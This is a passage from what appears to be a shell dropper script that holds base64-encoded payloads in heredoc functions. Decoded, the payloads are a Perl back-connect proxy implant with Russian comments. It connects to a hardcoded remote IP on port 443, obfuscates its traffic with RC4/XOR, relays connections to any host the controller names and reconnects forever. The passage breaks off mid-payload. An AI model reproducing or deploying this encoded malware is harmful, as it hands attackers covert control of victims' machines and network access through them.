ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_2() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
